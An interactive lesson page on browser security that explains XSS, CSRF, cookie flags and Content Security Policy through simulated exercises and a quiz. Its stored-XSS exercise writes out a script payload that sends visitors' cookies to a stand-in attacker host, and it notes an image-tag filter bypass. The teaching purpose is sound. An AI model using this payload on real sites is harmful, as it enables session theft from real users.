Defend the browser: XSS, CSRF and cookies
Understand cross-site scripting and request forgery, and the browser features that stop them.
- Explain cross-site scripting and how encoding and CSP prevent it
- Explain cross-site request forgery and how SameSite cookies and tokens prevent it
- Audit cookie flags and Content Security Policy headers
Cross-site scripting (XSS) happens when a page includes untrusted text as markup, letting someone run script in other users’ browsers - on your site’s origin, with access to their session. It comes in three flavors: stored (saved in a comment or profile), reflected (echoed from a URL) and DOM-based (front-end code writing input into the page).
Defenses, in layers:
- Encode output for its context and keep the framework’s auto-escaping on.
- Use safe DOM APIs:
textContent, notinnerHTML. - Add a Content Security Policy (CSP) header that tells the browser which scripts may run - for example only your own files, no inline scripts.
- Mark session cookies HttpOnly, so script can’t read them even if XSS slips through.
Practice: attack a comment form
Try it
Up to 15 XPSteal a session with stored XSS
Every visitor to this simulated page sees your comment. Replace the text with this payload and post it:
<script>fetch("https://attacker.example/?c=" + document.cookie)</script>
Then turn on one defense at a time and post again. Each stops the attack at a different point. An image tag such as <img src=x onerror="..."> works too, so a filter that only blocks <script> isn’t enough.
A simulation: your comment is only shown as text, and no script runs.
- Steal a visitor’s session cookie
- Stop it with output encoding alone
- Stop it with a Content Security Policy alone
- Protect the cookie with HttpOnly alone
Cross-site request forgery
Browsers attach cookies to requests automatically. Cross-site request forgery (CSRF) abuses that: a page on another site makes your browser send a request to a site where you’re signed in, and your cookies go along for the ride.
Try it
Up to 15 XPHow CSRF works - and how SameSite stops it
Step through the attack, predicting the marked steps.
A good session cookie has all three flags:
| Flag | Protects against |
|---|---|
Secure | sending the cookie over plain HTTP |
HttpOnly | script (and XSS) reading it |
SameSite=Lax or Strict | cross-site requests carrying it (CSRF) |
Note that CORS is not a protection: it relaxes the browser’s same-origin policy to let other sites read your responses. Configure it narrowly.
Practice: audit real headers
Try it
Up to 15 XPReview this site’s response headers
These headers came back from a login page. Click everything that weakens it.
Click every suspicious section. There are 3.
Key takeaways
XSS: untrusted text runs as script on your origin. Encode output, avoid innerHTML, add a CSP.
CSRF: another site triggers requests with your cookies. Use SameSite cookies and CSRF tokens.
Session cookies should be Secure, HttpOnly and SameSite.
Lesson quiz
6 questions · pass with 5 correct · up to 50 XP
Passing this quiz completes the lesson and keeps your streak going. Questions you miss come back in review sessions later.
Questions about this lesson
Stuck? Ask. Figured something out? Share it. Explaining is one of the best ways to learn.
Loading posts…